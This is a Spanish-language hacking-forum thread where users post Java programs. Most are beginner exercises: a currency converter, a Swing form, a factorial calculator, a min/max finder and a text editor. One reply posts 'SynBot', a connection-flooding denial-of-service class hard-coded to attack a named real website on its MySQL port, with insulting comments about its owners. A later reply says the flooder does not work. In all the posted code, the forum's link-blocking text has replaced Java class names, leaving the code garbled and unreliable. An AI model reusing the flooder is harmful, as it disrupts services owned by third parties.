send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Nuestros programas en Java

  • 4 Respuestas
  • 3201 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ProcessKill

  • *
  • Underc0der
  • Mensajes: 154
  • Actividad:
    0%
  • Reputación 0
  • Arriba los hackers de Argentina!
    • Ver Perfil
    • Email
« en: Febrero 24, 2010, 04:29:13 pm »
este post es para ke pongàmos nuestros programas en java

espero ke K4IS3R tambien ponga los suyos

aki uno ke hice rapido

convierte la moneda de pesos mexicanos a diferentes monedas


Código: Java
  1. import javax.swing.*;
  2.  
  3. public class Conversion {
  4.  
  5.         public static void main (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login args []){
  6.                
  7.                
  8.                 double pesos,dollar,euro,libra,bf,yen,yuan;
  9.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login cantidad1;
  10.                
  11.                 cantidad1 = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.showInputDialog("INTRODUCE LA QUANTITÉ EN PESOS MEXICANOS");
  12.                
  13.                 pesos = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.parseDouble(cantidad1);
  14.                
  15.                 dollar = pesos / 13.1; 
  16.                
  17.                 euro = pesos / 18.3742;
  18.                
  19.                 libra = pesos / 20.7721;
  20.                
  21.                 bf = pesos / 149;
  22.                
  23.                 yen = pesos / 0.1584;
  24.                
  25.                 yuan = pesos / 2.1;
  26.                                
  27.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.showMessageDialog(null,+pesos +" PESOS MEXICANOS EKIVALEN A:\n"+"\nDOLARES: "+dollar +" \nEURO: "+euro
  28.                                 +"\nLIBRAS: "+libra + "\nBF: "+bf+ " \nYEN: "+yen +" \nYUAN: "+yuan);
  29.                                
  30.                
  31.         }//fin del metodo main
  32.        
  33.        
  34.        
  35. }//fin de la clase Conversion
  36.  

algo muy sencillo

salu2


un pekeño ejemplo de interfaz en java

Código: Java
  1. import java.awt.*;
  2. import java.awt.event.*;
  3. import javax.swing.*;
  4.  
  5.  
  6.  
  7. public class Interfaz extends You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login{
  8.        
  9.         private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login campo1,campo2,campo3;
  10.         private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contra;
  11.        
  12.         public Interfaz(){
  13.                
  14.         super("INTERFAZ");     
  15.                
  16.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contenedor = getContentPane();
  17.         contenedor.setLayout(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login());
  18.        
  19.        
  20.         campo1 = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(10);
  21.         campo1.setToolTipText("CAMPO");
  22.         contenedor.add(campo1);
  23.        
  24.         campo2 = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login("CAMPO EDITABLE");
  25.         campo2.setToolTipText("CAMPO EDITABLE");
  26.         contenedor.add(campo2);
  27.        
  28.         campo3 = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login("CAMPO NO EDITABLE");
  29.         campo3.setToolTipText("CAMPO NO EDITABLE");
  30.         campo3.setEditable(false);
  31.         contenedor.add(campo3);
  32.        
  33.         contra = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login("CONTRASEÑA");
  34.         contra.setToolTipText("CAMPO OCULTO");
  35.         contenedor.add(contra);
  36.        
  37.        
  38.         Manejador evento = new Manejador();
  39.         campo1.addActionListener(evento);
  40.         campo2.addActionListener(evento);
  41.         campo3.addActionListener(evento);
  42.         contra.addActionListener(evento);
  43.        
  44.         setSize(300,100);
  45.         setVisible(true);
  46.        
  47.         }//fin del consructor Interfaz
  48.        
  49.        
  50.         public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login args[]){
  51.                
  52.                 Interfaz aplicacion = new Interfaz();
  53.                 aplicacion.setDefaultCloseOperation(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.EXIT_ON_CLOSE);
  54.                
  55.                
  56.         }//fin de la clase main
  57.        
  58.        
  59.         private class Manejador implements You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login{
  60.                
  61.                 public void actionPerformed (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login evento){
  62.                        
  63.                        
  64.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login cadena = "";
  65.                        
  66.                         if(evento.getSource()==campo1)
  67.                                 cadena = "CAMPO1: "+evento.getActionCommand();
  68.                        
  69.                         if(evento.getSource()==campo2)
  70.                                 cadena = "CAMPO2: "+evento.getActionCommand();
  71.                        
  72.                         if(evento.getSource()==campo3)
  73.                                 cadena = "CAMPO3: "+evento.getActionCommand();
  74.                        
  75.                         if(evento.getSource()==contra)
  76.                                 cadena = "CONTRASEÑA: "+evento.getActionCommand();
  77.                        
  78.                        
  79.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.showMessageDialog(null, cadena);
  80.                        
  81.                        
  82.                        
  83.                 }
  84.                
  85.                
  86.                
  87.                
  88.         }//fin de la clase Manejador
  89.        
  90.        
  91.        
  92.        
  93.        
  94. }//fin de la clase Interfaz

Calcular el factorial de un numero

Código: Java
  1. import javax.swing.*;
  2.  
  3.  
  4. public class Factorial{
  5.        
  6.         public static void main (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login args []){              
  7.                
  8.                 int num,cont,fact=1;
  9.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login num1;
  10.                                                
  11.                 num1 = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.showInputDialog("INTRODUCE UN NUMERO");
  12.                 num = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.parseInt(num1);
  13.                                
  14.                 for(cont=1; cont<=num;cont++){
  15.                        
  16.                        
  17.                         fact=fact*cont;
  18.                                                
  19.                        
  20.                 }
  21.                                
  22.                
  23.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.showMessageDialog(null, "EL FACTORIAL CUIJA ESSSSS: \n"+fact);
  24.                        
  25.                
  26.         }
« Última modificación: Abril 18, 2013, 12:45:53 pm por Expermicid »

Desconectado Devilboy

  • *
  • Underc0der
  • Mensajes: 328
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Abril 04, 2010, 03:32:58 pm »
Aqui otro muy sencillo, calcula el mayor y menor numeros de un arreglo usando Poo

Código: Java
  1. class Prueba{
  2.        
  3.  
  4.          int mayor(int x[]){
  5.                 int m=x[0];
  6.                  
  7.                         for(int i=0;i<x.length;i++){
  8.                                
  9.                                 if(x[i]>m)m=x[i];
  10.                                
  11.                                
  12.                         }
  13.  
  14.                  return m;
  15.                
  16.                  
  17.                  
  18.          }
  19.          
  20.          
  21.          
  22.          int menor(int x[]){
  23.                         int m=x[0];
  24.                          
  25.                                 for(int i=0;i<x.length;i++){
  26.                                        
  27.                                         if(x[i]<m)m=x[i];
  28.                                        
  29.                                        
  30.                                 }
  31.  
  32.                          return m;
  33.                        
  34.                          
  35.                          
  36.                  }
  37.          
  38.          
  39.        
  40.  
  41. }
  42.  
  43. public class Poo{
  44.        
  45.         public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login args[]){
  46.                
  47.                 int array[]={133,88,3,4,5};
  48.                
  49.                
  50.                
  51.         Prueba prueba=new Prueba();
  52.        
  53.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("el mayor es: "+prueba.mayor(array)+"\nY el Menor es: "+prueba.menor(array));
  54.        
  55.        
  56.         }
  57.        
  58.        
  59. }
  60.        
  61.        
  62.  

La salida es esta:

el mayor es: 133
Y el Menor es: 3
« Última modificación: Abril 18, 2013, 12:46:09 pm por Expermicid »

Veo Una Energia Que Con Deceo de Justicia... Veo Mas Alla de LAs Letras Escritas...
Veo Un Hacktivismo Puro... Nacido De lo Mas Profundo De un Corazon..
Con La Mirada Firme En Defender Mis Ideales...


Desconectado Black Poison

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Julio 09, 2010, 04:27:11 pm »
un Editor de Texto :p



Código: Java
  1. // By Black Poison
  2.  
  3. import java.awt.*;
  4.  
  5. import javax.swing.*;
  6.  
  7. import java.awt.event.*;
  8. import java.io.*;
  9.  
  10. public class programa extends You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  11.  
  12.         private static final long serialVersionUID = 1L;
  13.        
  14.    
  15.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login borderLayout1 = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  16.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login panel = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  17.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login barraDeMenu = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  18.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  19.  
  20.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login areaDeTexto = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  21.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login scrollPane = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  22.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login jfc = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  23.    
  24.    
  25.    
  26.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo_Nuevo = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  27.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo_Abrir = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  28.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo_Guardar = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  29.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo_GuardarComo = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  30.     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo_Salir = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  31.    
  32.  
  33.    
  34.  
  35.     @SuppressWarnings("deprecation")
  36.         public programa() {
  37.     panel.setLayout(borderLayout1);
  38.     super.setTitle("Editor De Textos By Black Poison");
  39.    
  40.     archivo.setText("Archivo");
  41.     archivo_Nuevo.setText("Nuevo");
  42.     archivo_Abrir.setText("Abrir");
  43.     archivo_Guardar.setText("Guardar");
  44.     archivo_GuardarComo.setText("Guardar como...");
  45.     archivo_Salir.setText("Salir");
  46.  
  47.  
  48.    
  49.  
  50.    
  51.  
  52.  
  53.     barraDeMenu.add(archivo);
  54.    
  55.  
  56.    
  57.    
  58.     archivo.add(archivo_Nuevo);
  59.     archivo.add(archivo_Abrir);
  60.     archivo.add(archivo_Guardar);
  61.     archivo.add(archivo_GuardarComo);
  62.     archivo.add(archivo_Salir);
  63.    
  64.  
  65.    
  66.      
  67.     this.setJMenuBar(barraDeMenu);
  68.     this.getContentPane().add(panel, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.CENTER);
  69.     this.getContentPane().setPreferredSize(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(400,400));
  70.     this.getContentPane().add(scrollPane, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.CENTER);
  71.     scrollPane.getViewport().add(areaDeTexto, null);
  72.      
  73.    
  74.     archivo_Nuevo.addActionListener(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login() {
  75.         public void actionPerformed(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e) {
  76.             areaDeTexto.setText("");
  77.         }
  78.     });
  79.    
  80.    
  81.     archivo_Abrir.addActionListener(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login() {
  82.         @SuppressWarnings("static-access")
  83.                 public void actionPerformed(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e) {
  84.             if(e.getSource() == archivo_Abrir) {
  85.                 int abroArchivo = jfc.showOpenDialog(programa.this);
  86.            
  87.                
  88.                
  89.                 if(abroArchivo == jfc.APPROVE_OPTION) {
  90.                     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo = jfc.getSelectedFile();
  91.                     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login miArchivo;
  92.                     int sizeArchivo = You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.valueOf(archivo.length()).intValue();
  93.                         byte archivoALeer[]= new byte[sizeArchivo];
  94.                     try {
  95.                         miArchivo = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(archivo.getPath());
  96.                         miArchivo.read(archivoALeer);
  97.                         areaDeTexto.append(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(archivoALeer));
  98.                         miArchivo.close();
  99.                     }
  100.                    
  101.                     catch(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ex)
  102.                     {
  103.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("Error : "+ex.getMessage());
  104.                     }
  105.                 }
  106.                
  107.                 areaDeTexto.setCaretPosition(areaDeTexto.getDocument().getLength());
  108.             }
  109.         }
  110.     });
  111.  
  112.     archivo_Guardar.addActionListener(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login() {
  113.         public void actionPerformed(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e) {
  114.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo = jfc.getSelectedFile();
  115.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login miArchivo;
  116.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contenidoTexto = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  117.             try {
  118.                 miArchivo = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(archivo.getPath());
  119.                 contenidoTexto = areaDeTexto.getText();
  120.                 miArchivo.write(contenidoTexto.getBytes());
  121.                 miArchivo.close();
  122.             }
  123.             catch(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ex) {
  124.                 You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("Error : "+ex.getMessage());
  125.             }
  126.         }
  127.     });
  128.    
  129.    
  130.    
  131.     archivo_GuardarComo.addActionListener(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login() {
  132.         public void actionPerformed(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e) {
  133.             if(e.getSource() == archivo_GuardarComo) {
  134.                 int guardoArchivo = jfc.showSaveDialog(programa.this);
  135.                
  136.                 if(guardoArchivo == You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.APPROVE_OPTION) {
  137.                     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login archivo = jfc.getSelectedFile();
  138.                     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login miArchivo;
  139.                     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login contenidoTexto = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login();
  140.                     try {
  141.                         miArchivo = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(archivo.getPath());
  142.                         contenidoTexto = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(areaDeTexto.getText());
  143.                         miArchivo.write(contenidoTexto.getBytes());
  144.                         miArchivo.close();
  145.                     }
  146.                     catch(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ex) {
  147.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("Error : "+ex.getMessage());
  148.                     }
  149.                 }
  150.             }
  151.         }
  152.     });
  153.    
  154.    
  155.     archivo_Salir.addActionListener(new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login() {
  156.         public void actionPerformed(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e) {
  157.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.exit(0);
  158.         }
  159.     });
  160.    
  161.    
  162.    
  163.     super.pack();
  164.    
  165.    
  166.     super.show();
  167.     }
  168.     public static void main(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login argv[]) {
  169.         new programa();
  170.     }
  171.    
  172.    
  173. }
« Última modificación: Abril 18, 2013, 12:46:22 pm por Expermicid »

Desconectado Cr4z1

  • *
  • Underc0der
  • Mensajes: 7
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Julio 12, 2010, 10:47:50 pm »
Un flooder:

Código: Java
  1. /////////////////////////////////////////////
  2.  
  3. /**
  4.  
  5. * @author Cr4z1
  6.  
  7. * @revision 1.0
  8.  
  9. * Yay for table of contents
  10.  
  11. * <h1>Sector 1</h1>
  12.  
  13. * <p>Yay for variables declaration</p>
  14.  
  15. * <h1>Sector 2</h1>
  16.  
  17. * <p>Yay for Bot constructors</p>
  18.  
  19. * <h1>Sector 3</h1>
  20.  
  21. * <p>Getters and setterz pls?</p>
  22.  
  23. * Cba with moar headers sector 4 is for main methods
  24.  
  25. */
  26.  
  27.  
  28.  
  29. import java.net.Socket;
  30.  
  31.  
  32.  
  33. public class SynBot extends You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login implements You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login {
  34.  
  35.     /**
  36.  
  37.      * To check if we're debugging or not.
  38.  
  39.      */
  40.  
  41.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login debugging = true;
  42.  
  43.  
  44.  
  45.     /**
  46.  
  47.      * The thread we're using to attack.
  48.  
  49.      */
  50.  
  51.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login threadBot = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(this);
  52.  
  53.  
  54.  
  55.     /**
  56.  
  57.      * The current state of if we're flooding or not
  58.  
  59.      */
  60.  
  61.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login flooding = false;
  62.  
  63.  
  64.  
  65.     /**
  66.  
  67.      * The bot state, see getBotStates(); for more info.
  68.  
  69.      */
  70.  
  71.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login botState = 0;
  72.  
  73.  
  74.  
  75.     /**
  76.  
  77.      * The number of connections we're sending per bot.
  78.  
  79.      */
  80.  
  81.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login connections = 1000;
  82.  
  83.  
  84.  
  85.     /**
  86.  
  87.      * The default url that we're going to attack, currently rune-server, dumb
  88.  
  89.      * bitches.
  90.  
  91.      */
  92.  
  93.     private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login currentUrl = "www.rune-server.org";
  94.  
  95.  
  96.  
  97.     /**
  98.  
  99.      * The default port if none is chosen, currently MySQL.
  100.  
  101.      */
  102.  
  103.     private You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login currentPort = 3306;
  104.  
  105.  
  106.  
  107.     /**
  108.  
  109.      * The config state of the bot, false = not set, true = set.
  110.  
  111.      */
  112.  
  113.     private boolean configState = false;
  114.  
  115.  
  116.  
  117.     /**
  118.  
  119.      * Attacks the default Server with a specified port.
  120.  
  121.      *
  122.  
  123.      * @param port
  124.  
  125.      *                The port we're attacking with the bots. (Hint: MySQL is
  126.  
  127.      *                3306)
  128.  
  129.      */
  130.  
  131.     public SynBot(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login server, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login port, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login connections,
  132.  
  133.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login debugging) {
  134.  
  135.         this.setConfig(server, port, connections, debugging);
  136.  
  137.         this.threadBot.start();
  138.  
  139.         this.setBotState(1);
  140.  
  141.         try {
  142.  
  143.             this.setBotState(2);
  144.  
  145.             while (this.getBotState() == 3 || this.getFlooding()) {
  146.  
  147.                 this.setBotState(3);
  148.  
  149.                 for (int i = 0; i < this.getConnections(); i++) {
  150.  
  151.                     You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login serverSocket = new You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login(this.getServer(), this
  152.  
  153.                             .getPort());
  154.  
  155.                     serverSocket.getOutputStream().write("how do i syn flood site?".getBytes());
  156.  
  157.                     if (this.getDebug())
  158.  
  159.                         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("Server socket connected.");
  160.  
  161.                 }
  162.  
  163.             }
  164.  
  165.         } catch (You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login e) {
  166.  
  167.             this.setBotState(0);
  168.  
  169.             this.setFlooding(false);
  170.  
  171.         }
  172.  
  173.     }
  174.  
  175.  
  176.  
  177.     /**
  178.  
  179.      * Getters and setters from this point down.
  180.  
  181.      */
  182.  
  183.  
  184.  
  185.     /*
  186.  
  187.      * ----------------------------------------;
  188.  
  189.      */
  190.  
  191.  
  192.  
  193.     /**
  194.  
  195.      * Sets the current port for the session.
  196.  
  197.      *
  198.  
  199.      * @param port
  200.  
  201.      *                The specified port we're setting.
  202.  
  203.      */
  204.  
  205.     public void setPort(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login port) {
  206.  
  207.         this.currentPort = port;
  208.  
  209.     }
  210.  
  211.  
  212.  
  213.     /**
  214.  
  215.      * The number of connections we're sending p/ bot.
  216.  
  217.      *
  218.  
  219.      * @return The connections
  220.  
  221.      */
  222.  
  223.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login getConnections() {
  224.  
  225.         return this.connections;
  226.  
  227.     }
  228.  
  229.  
  230.  
  231.     /**
  232.  
  233.      * Setting the number of connections we're going to send p/ bot
  234.  
  235.      *
  236.  
  237.      * @param syn_conn
  238.  
  239.      *                The number of connections we're sending.
  240.  
  241.      */
  242.  
  243.     public void setConnections(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login syn_conn) {
  244.  
  245.         this.connections = syn_conn;
  246.  
  247.     }
  248.  
  249.  
  250.  
  251.     /**
  252.  
  253.      * Returns the current port we're targeting/planning to target
  254.  
  255.      *
  256.  
  257.      * @return The current port
  258.  
  259.      */
  260.  
  261.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login getPort() {
  262.  
  263.         return this.currentPort;
  264.  
  265.     }
  266.  
  267.  
  268.  
  269.     /**
  270.  
  271.      * Sets the server we're going to attack.
  272.  
  273.      *
  274.  
  275.      * @param url
  276.  
  277.      *                The url we're setting
  278.  
  279.      */
  280.  
  281.     public void setServer(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login url) {
  282.  
  283.         this.currentUrl = url;
  284.  
  285.     }
  286.  
  287.  
  288.  
  289.     /**
  290.  
  291.      * Gets our current server and returns it
  292.  
  293.      *
  294.  
  295.      * @return The current server
  296.  
  297.      */
  298.  
  299.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login getServer() {
  300.  
  301.         return this.currentUrl;
  302.  
  303.     }
  304.  
  305.  
  306.  
  307.     /**
  308.  
  309.      * Gets the state that the bot is in
  310.  
  311.      *
  312.  
  313.      * @return The bot state
  314.  
  315.      */
  316.  
  317.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login getBotState() {
  318.  
  319.         return this.botState;
  320.  
  321.     }
  322.  
  323.  
  324.  
  325.     /**
  326.  
  327.      * Sets the state of the bot<br />
  328.  
  329.      * <b> 0-Nothing, 1-Starting, 2-Pending Connection, 3-Attacking</b>
  330.  
  331.      *
  332.  
  333.      * @param botState1
  334.  
  335.      *                The state of the bot we're attacking.
  336.  
  337.      */
  338.  
  339.     public void setBotState(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login botState1) {
  340.  
  341.         this.botState = botState1;
  342.  
  343.     }
  344.  
  345.  
  346.  
  347.     /**
  348.  
  349.      * Returns if we're flooding or not
  350.  
  351.      *
  352.  
  353.      * @return Flooding?
  354.  
  355.      */
  356.  
  357.     public boolean getFlooding() {
  358.  
  359.         return this.flooding;
  360.  
  361.     }
  362.  
  363.  
  364.  
  365.     /**
  366.  
  367.      * Sets the current state of flooding
  368.  
  369.      *
  370.  
  371.      * @param flooding1
  372.  
  373.      *                Flooding? Well, are we...? Idiot
  374.  
  375.      */
  376.  
  377.     public void setFlooding(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login flooding1) {
  378.  
  379.         this.flooding = flooding1;
  380.  
  381.     }
  382.  
  383.  
  384.  
  385.     /**
  386.  
  387.      * Gets the state of debugging.
  388.  
  389.      *
  390.  
  391.      * @return If we're debugging or not.
  392.  
  393.      */
  394.  
  395.     public You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login getDebug() {
  396.  
  397.         return this.debugging;
  398.  
  399.     }
  400.  
  401.  
  402.  
  403.     /**
  404.  
  405.      * Sets if we're debugging.
  406.  
  407.      *
  408.  
  409.      * @param debug
  410.  
  411.      *                Debugging or not.
  412.  
  413.      */
  414.  
  415.     public void setDebug(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login debug) {
  416.  
  417.         this.debugging = debug;
  418.  
  419.     }
  420.  
  421.  
  422.  
  423.     public void setConfig(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login server, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login port, You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login connections,
  424.  
  425.             You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login debugging) {
  426.  
  427.         this.setServer(server);
  428.  
  429.         this.setPort(port);
  430.  
  431.         this.setConnections(connections);
  432.  
  433.         this.setDebug(debugging);
  434.  
  435.         this.setConfigState(true);
  436.  
  437.     }
  438.  
  439.  
  440.  
  441.     public void setConfigState(You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login config) {
  442.  
  443.         this.configState = config;
  444.  
  445.     }
  446.  
  447.  
  448.  
  449.     public void run() {
  450.  
  451.         You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.out.println("Synflood is running");
  452.  
  453.         for (;;) {
  454.  
  455.             if (this.getBotState() == 3 && !this.getFlooding())
  456.  
  457.                 this.setBotState(0);
  458.  
  459.         }
  460.  
  461.     }
  462.  
  463. }
  464.  
  465. /////////////////////////////////
« Última modificación: Abril 18, 2013, 12:46:51 pm por Expermicid »

303010

  • *
  • Visitante
« Respuesta #4 en: Julio 12, 2010, 11:35:40 pm »
lo del fooder no me funca. :/

 

¿Te gustó el post? COMPARTILO!



[Video Curso] Iniciacion a Java por DesarrolloWeb y EscuelaIT Mayo 2014

Iniciado por graphixx

Respuestas: 3
Vistas: 1379
Último mensaje Febrero 23, 2015, 10:13:28 am
por Hu3c0
Java Extremo [Video Cursos Completos] [Español] [ISO] 2009

Iniciado por graphixx

Respuestas: 9
Vistas: 4135
Último mensaje Diciembre 04, 2017, 02:36:34 am
por graphixx
